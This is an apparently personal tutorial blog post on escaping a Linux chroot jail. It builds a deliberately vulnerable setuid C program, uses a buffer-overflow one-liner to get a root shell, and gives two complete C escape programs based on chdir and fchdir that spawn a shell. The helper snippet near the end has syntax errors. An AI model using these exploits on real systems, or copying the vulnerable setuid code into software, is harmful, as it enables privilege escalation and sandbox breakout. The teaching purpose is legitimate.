This post builds upon some topics that I’ve previously covered, specifically bits of On Running a Tor Onion Service in a Chroot and On Stack Smashing, Part Two.
For years I’ve heard how a chroot isn’t secure and is trivial to escape. However, I never looked into it until recently.
Note that I’m not speaking of BSD jails or Linux containers, which are much more secure.
For an escape to be successful, there needs to be a way for an unprivileged user to become a privileged user. The most frequently cited method, and the one I’ll demonstrate here, is to exploit a setuid binary.
Once the setuid
binary has been exploited and the user has a root shell, escaping from the chroot
is like taking candy from a baby.
Let’s dig in.
Create a chroot
My preferred way to create a chroot
, as I’ve written about before, is to use the debootstrap
tool. Since I’ve already documented how to do this, I’ll just list the commands and not go into any detail. See the posts linked at the top of this post for more information.
To create a chroot
, simply do the following:
$ sudo -i
# debootstrap --include=build-essential,gdb,vim \
--arch=i386 stretch /srv/chroot/32 http://ftp.debian.org/debian
# cat > /etc/schroot/chroot.d/32
[32]
description=Debian stretch i386
type=directory
directory=/srv/chroot/32
users=btoll
root-users=btoll
root-groups=root
# exit
$ schroot -u btoll -c 32
We have now created a Debian system located at /srv/chroot/32
and use the schroot
tool to run a login shell inside the environment.
Exploitation
Again, I’m not going to go into any detail here because I did at great length in On Stack Smashing
, parts one and two. Here is the program that we’ll exploit:
cat_pictures.c
#include <stdio.h>
#include <string.h>
void foo(char *s) {
char buf[10];
strcpy(buf, s);
printf("%s\n", buf);
}
int main(int argc, char **argv) {
foo(argv[1]);
return 0;
}
Compile and set as suid
:
# gcc -o cat_pictures -ggdb3 -z execstack cat_pictures.c
# chmod 4550 cat_pictures
Now, the exploitation itself:
$ ./cat_pictures $(perl -e 'print "A"x22 . "\xc7\xdd\xff\xff"')
# whoami
root
# id
uid=0(root) gid=1001(test) groups=1001(test)
#
We have a root shell after injecting the shellcode. We’re now ready to break out of the chroot
.
Escaping a chroot
Since we’re root
after successfully executing the exploit in the last section, we’re now free to code another exploit to break out of the chroot
.
Conceptually, the idea is to create another directory that we will chroot
from our current working directory. Once that is done, we’ll use the chdir
system call (syscall) to move up to the root of the filesystem, at which point we’ll create a root shell. Sweet freedom!
Why does this work? Since the default the chroot
syscall does not change the directory to that which was specifiied in the chroot
syscall, the current working directory remains outside of the new chroot
. This is the key. Then, since chroot
s aren’t nested, we simply recurse up to the real /
of the file system.
When cwd
Is Not Changed
Depending upon the operating system, the current working directory (cwd
) may or may not be changed to the new location specified by the path argument to the chroot
syscall. When it is not, the way to escape the jail is more straightforward than otherwise.
From the chroot
man page:
This call does not change the current working directory, so that after the call '.' can be outside the tree rooted at '/'. In particular, the superuser can escape from a "chroot jail" by doing: mkdir foo; chroot foo; cd ..
Let’s first look at when the cwd
is not changed by the chroot
syscall. Here’s one implementation:
#include <sys/stat.h>
#include <unistd.h>
void move_to_root() {
for (int i = 0; i < 1024; ++i)
chdir("..");
}
int main() {
mkdir(".futz", 0755);
chroot(".futz");
move_to_root();
chroot(".");
return execl("/bin/sh", "-i", NULL);
}
The most important bit of this code is that my OS isn’t changing the cwd
(I know this through experimentation) and we are not cd
ing into the new .futz
directory before we invoke the chroot
system call wrapper. Again, this ensures that our current working directory (cwd
) is outside of this new chroot
. Conversely, if we were to do also to make the new chroot
the cwd
, then it would not be possible to escape from the chroot
using this particular implementation.
Sadly, we just can’t recurse of the file system tree without creating a new
chroot
. Without doing so, the kernel will just recurse up the root of thechroot
, eventually expanding..
to.
for the remaining path, if any. In other words, this will not work:chroot("../../../../../../../../");
The move_to_root
function loops an arbitrary number of times to recurse up to the root directory. Chances are fairly good that the chroot
is nowhere that deeply nested on the machine, and once in the root of the filesystem tree (/
), the files ..
and .
mean the same thing. In other words, once in the root directory ..
doesn’t do anything.
Now that we’re that we’ve broken out of the chroot
, the last steps are to set the current (root) directory as the new chroot
and then do something useful like launch a root shell.
When cwd
Is Changed
Be aware that some kernels will change the cwd
to be inside the chroot
when calling chroot
, which makes it impossible to escape the chroot
environment by chroot
ing to a another directory. If this is the case, there is an alternative way to break out of the chroot
using the file descriptor of the cwd
before the chroot
system call.
Again, from the chroot
man page:
This call does not close open file descriptors, and such file descriptors may allow access to files outside the chroot tree.
Since the key in this scenario is to store the file descriptor of a directory outside of the soon-to-be chroot
before chroot
ing, we store the result of the open
syscall to the cwd
, which will be a file descriptor.
Then, we escape the new chroot
by way of passing the file descriptor to the fchdir
syscall:
fd = open(".", O_RDONLY);
chroot(".futz");
fchdir(fd);
An full example of this could look like the following:
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
void move_to_root() {
for (int i = 0; i < 1024; ++i)
chdir("..");
}
int main() {
int fd;
mkdir(".futz", 0755);
fd = open(".", O_RDONLY);
chroot(".futz");
fchdir(fd);
close(fd);
move_to_root();
chroot(".");
return execl("/bin/sh", "-i", NULL);
}
Testing
Finally, it can be useful to log out the cwd
before and after the chroot
syscall to determine if the kernel is also changing the directory to the new chroot
:
#define PATH_MAX 200
void cwd() {
char dir[PATH_MAX};
printf("cwd is %s\n", getcwd(dir, PATH_MAX);
}
For example, on my Debian 9 install, I insert calls to cwd()
before and after the chroot
syscall:
// Inside function body...
cwd();
chroot(".futz");
cwd();
And the following is printed to stdout
:
cwd is /root
cwd is (null)
This means the kernel did not change the cwd
, for we see that the chroot
is unable to “see” it.
Conversely, if I insert a call to chdir
directly after the chroot
syscall:
// Inside function body...
cwd();
chroot(".futz");
chdir(".futz");
cwd();
The following is printed:
cwd is /root
cwd is /
Since the cwd
is inside our new chroot
, we can’t break out unless we captured an open file descriptor before chroot
ing!